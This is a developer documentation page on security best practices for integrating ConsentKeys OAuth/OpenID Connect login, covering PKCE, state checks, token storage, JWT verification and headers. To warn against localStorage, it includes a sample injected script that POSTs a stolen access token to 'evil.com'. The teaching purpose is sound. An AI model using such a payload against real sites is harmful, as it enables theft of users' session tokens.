Skip to main content

Security Best Practices

Essential security considerations for integrating ConsentKeys authentication.

Overview

ConsentKeys implements OAuth 2.0 and OpenID Connect security standards. However, your implementation matters - follow these best practices to keep your users safe.

PKCE (Proof Key for Code Exchange)

Why PKCE?

PKCE prevents authorization code interception attacks, especially important for:

  • Single-page applications (SPAs)
  • Mobile applications
  • Any public client (no client secret)

Implementation

// 1. Generate code verifier (random string)
function generateCodeVerifier(): string {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}

// 2. Generate code challenge (SHA-256 hash)
async function generateCodeChallenge(verifier: string): Promise<string> {
const encoder = new TextEncoder();
const data = encoder.encode(verifier);
const hash = await crypto.subtle.digest('SHA-256', data);
return base64UrlEncode(new Uint8Array(hash));
}

// 3. Store verifier for later use
sessionStorage.setItem('code_verifier', verifier);

// 4. Include challenge in authorization request
const authUrl = `${AUTH_URL}?` + new URLSearchParams({
// ... other params
code_challenge: challenge,
code_challenge_method: 'S256',
});

// 5. Include verifier in token exchange
const tokenResponse = await fetch(TOKEN_URL, {
method: 'POST',
body: new URLSearchParams({
// ... other params
code_verifier: sessionStorage.getItem('code_verifier'),
}),
});

✅ Do:

  • Always use PKCE for public clients
  • Use SHA-256 (S256) method
  • Generate a new verifier for each auth flow
  • Store verifier securely (sessionStorage, not localStorage)

❌ Don't:

  • Skip PKCE for mobile/SPA apps
  • Reuse the same verifier
  • Store verifier in URLs or logs

CSRF Protection (State Parameter)

Why State?

The state parameter prevents Cross-Site Request Forgery (CSRF) attacks where an attacker tricks a user into completing an OAuth flow on their behalf.

Implementation

// 1. Generate random state
function generateState(): string {
const array = new Uint8Array(16);
crypto.getRandomValues(array);
return base64UrlEncode(array);
}

// 2. Store state before redirect
const state = generateState();
sessionStorage.setItem('oauth_state', state);

// 3. Include in authorization request
const authUrl = `${AUTH_URL}?state=${state}&...`;

// 4. Verify on callback
function handleCallback() {
const returnedState = new URLSearchParams(window.location.search).get('state');
const storedState = sessionStorage.getItem('oauth_state');

if (!returnedState || returnedState !== storedState) {
throw new Error('Invalid state - possible CSRF attack');
}

// Clean up
sessionStorage.removeItem('oauth_state');

// Continue with token exchange...
}

✅ Do:

  • Always generate and verify state
  • Use cryptographically random values
  • Clear state after verification

❌ Don't:

  • Skip state verification
  • Use predictable state values
  • Reuse state across multiple flows

Token Storage

Where to Store Tokens

StorageAccess TokensID TokensRefresh Tokens
Memory (React state)✅ Best✅ Best❌ No
sessionStorage⚠️ OK (XSS risk)⚠️ OK (XSS risk)❌ No
localStorage❌ Never❌ Never❌ Never
httpOnly cookies✅ Best✅ Best✅ Best

Why Not localStorage?

localStorage is vulnerable to XSS attacks:

// ❌ DANGEROUS: Any XSS can steal the token
localStorage.setItem('access_token', token);

// Attacker injects:
<script>
fetch('https://evil.com', {
method: 'POST',
body: localStorage.getItem('access_token'),
});
</script>

Frontend (React/Vue/etc.):

// Store in memory only
const [accessToken, setAccessToken] = useState<string | null>(null);

// Fetch on mount
useEffect(() => {
fetch('/api/auth/me', { credentials: 'include' })
.then(res => res.json())
.then(data => setAccessToken(data.accessToken));
}, []);

Backend (sets httpOnly cookie):

// After token exchange
req.session.accessToken = tokens.access_token;
req.session.user = userInfo;
await req.session.save();

res.setHeader('Set-Cookie', serialize('ck_session', sessionId, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // HTTPS only in production
sameSite: 'lax', // CSRF protection
maxAge: 7 * 24 * 60 * 60, // 1 week
path: '/',
}));

Client Secret Protection

Never Expose Client Secrets

❌ NEVER do this:

// Frontend code - ANYONE can see this!
const CLIENT_SECRET = 'secret_abc123';

fetch('https://auth.consentkeys.com/token', {
body: new URLSearchParams({
client_secret: CLIENT_SECRET, // EXPOSED!
}),
});

✅ Always do this:

// Frontend: No secret, proxy through backend
fetch('/api/auth/callback', {
method: 'POST',
body: { code },
credentials: 'include',
});

// Backend: Secret stays on server
const tokenResponse = await fetch(TOKEN_URL, {
method: 'POST',
body: new URLSearchParams({
client_id: process.env.CLIENT_ID,
client_secret: process.env.CLIENT_SECRET, // Safe!
code,
}),
});

Environment Variables

# ✅ Good: Secrets in .env (not committed to git)
CONSENTKEYS_CLIENT_ID=ck_abc123
CONSENTKEYS_CLIENT_SECRET=secret_xyz789
SESSION_SECRET=minimum-32-character-random-string

# ❌ Bad: Secrets in code
const CLIENT_SECRET = "secret_xyz789"; // NEVER!

Add to .gitignore:

.env
.env.local
.env.production

HTTPS in Production

Why HTTPS?

Without HTTPS:

  • Tokens can be intercepted (man-in-the-middle)
  • Cookies can be stolen (session hijacking)
  • No protection against eavesdropping

Implementation

Development:

// OK for localhost
const BASE_URL = 'https://pseudoidc.consentkeys.com';

Production:

// REQUIRED for production
const BASE_URL = 'https://api.consentkeys.com';

// Force HTTPS redirect
app.use((req, res, next) => {
if (req.header('x-forwarded-proto') !== 'https') {
return res.redirect(`https://${req.hostname}${req.url}`);
}
next();
});

// Set secure cookies
cookieOptions: {
secure: process.env.NODE_ENV === 'production',
}

Certificate:

  • Use Let's Encrypt (free)
  • Or a certificate from your cloud provider
  • Minimum TLS 1.2, prefer TLS 1.3

Session Security

Session Configuration

// Next.js (iron-session)
export const sessionOptions = {
password: process.env.SESSION_SECRET!, // 32+ chars
cookieName: 'ck_session',
cookieOptions: {
httpOnly: true, // Prevent JavaScript access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 1 week
path: '/',
},
};

// Flask
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_SAMESITE='Lax',
PERMANENT_SESSION_LIFETIME=timedelta(days=7),
)

Session Timeout

Implement appropriate timeouts for sensitive operations:

// Different timeouts for different sensitivity
const TIMEOUTS = {
general: 7 * 24 * 60 * 60, // 7 days
sensitive: 15 * 60, // 15 minutes
admin: 30 * 60, // 30 minutes
};

// Require re-auth for sensitive actions
async function sensitiveOperation() {
const lastAuth = session.lastAuthTime;
const now = Date.now();

if (now - lastAuth > TIMEOUTS.sensitive * 1000) {
// Require re-authentication
return res.redirect('/login?return_to=/sensitive');
}

// Proceed with operation
}

JWT Verification

Always Verify ID Tokens

❌ Bad: Trusting tokens without verification

// DANGEROUS: Token could be forged!
const payload = JSON.parse(atob(idToken.split('.')[1]));
const userId = payload.sub; // DON'T DO THIS!

✅ Good: Verify signature and claims

import { jwtVerify, createRemoteJWKSet } from 'jose';

const JWKS_URL = 'https://pseudoidc.consentkeys.com/.well-known/jwks.json';
const JWKS = createRemoteJWKSet(new URL(JWKS_URL));

async function verifyIdToken(idToken: string) {
try {
const { payload } = await jwtVerify(idToken, JWKS, {
issuer: 'https://pseudoidc.consentkeys.com',
audience: CLIENT_ID,
});

// Verify expiration
if (Date.now() >= payload.exp * 1000) {
throw new Error('Token expired');
}

// Verify nonce (if used)
const storedNonce = sessionStorage.getItem('nonce');
if (payload.nonce !== storedNonce) {
throw new Error('Invalid nonce');
}

return payload;
} catch (error) {
console.error('Token verification failed:', error);
throw new Error('Invalid token');
}
}

What to verify:

  • ✅ Signature (using JWKS)
  • ✅ Issuer (iss claim)
  • ✅ Audience (aud claim)
  • ✅ Expiration (exp claim)
  • ✅ Nonce (if used for replay protection)

Input Validation

Validate Redirect URIs

// ✅ Whitelist allowed redirect URIs
const ALLOWED_REDIRECT_URIS = [
'https://pseudoidc.consentkeys.com/callback',
'https://myapp.com/callback',
'myapp://auth/callback', // Mobile
];

function validateRedirectUri(uri: string): boolean {
return ALLOWED_REDIRECT_URIS.includes(uri);
}

// In authorization endpoint
if (!validateRedirectUri(req.query.redirect_uri)) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'Invalid redirect_uri',
});
}

Validate State and Code

// Validate format
function isValidState(state: string): boolean {
return /^[A-Za-z0-9_-]{16,128}$/.test(state);
}

function isValidCode(code: string): boolean {
return /^[A-Za-z0-9_-]{20,128}$/.test(code);
}

// Use in handlers
if (!isValidState(req.query.state)) {
throw new Error('Invalid state format');
}

Rate Limiting

Implement Rate Limits

ConsentKeys has built-in rate limits, but add your own too:

import rateLimit from 'express-rate-limit';

// General API limiter
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100,
message: 'Too many requests',
});

// Stricter for auth endpoints
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 10,
message: 'Too many login attempts',
});

app.use('/api/', apiLimiter);
app.use('/api/auth/', authLimiter);

Handle Rate Limit Responses

async function makeRequest(url: string) {
const response = await fetch(url);

if (response.status === 429) {
const resetTime = response.headers.get('RateLimit-Reset');
throw new Error(`Rate limited. Retry in ${resetTime}s`);
}

return response;
}

Security Headers

Set Appropriate Headers

import helmet from 'helmet';

app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
}));

// Additional headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
next();
});

Logging and Monitoring

What to Log

✅ Do log:

  • Authentication attempts (success/failure)
  • Token exchanges
  • Session creations/deletions
  • Suspicious activity (multiple failures, unusual locations)

❌ Don't log:

  • Tokens (access tokens, ID tokens, secrets)
  • Passwords or secrets
  • Full authorization codes
  • PII unless necessary

Example

function logAuthEvent(event: string, data: any) {
console.log({
timestamp: new Date().toISOString(),
event,
userId: data.userId,
clientId: data.clientId,
ip: data.ip,
userAgent: data.userAgent,
// Never log tokens!
});
}

// Usage
logAuthEvent('login_success', {
userId: user.sub,
clientId: req.body.client_id,
ip: req.ip,
userAgent: req.headers['user-agent'],
});

Security Checklist

Before going to production:

  • HTTPS enabled for all endpoints
  • Client secret stored securely (environment variables)
  • PKCE implemented for public clients
  • State parameter verified in OAuth callback
  • ID tokens verified (signature, issuer, audience, expiration)
  • Tokens stored securely (httpOnly cookies or memory)
  • No tokens in localStorage
  • Session cookies are httpOnly, secure, sameSite
  • Redirect URIs validated against whitelist
  • Rate limiting implemented
  • Security headers configured
  • Logging excludes sensitive data
  • Dependencies updated (npm audit)
  • CORS configured properly

Reporting Security Issues

If you discover a security vulnerability in ConsentKeys:

DO:

  • Email security@consentkeys.com (private disclosure)
  • Include steps to reproduce
  • Wait for acknowledgment before public disclosure

DON'T:

  • Open public GitHub issues for security bugs
  • Exploit vulnerabilities in production systems
  • Disclose before receiving acknowledgment

Additional Resources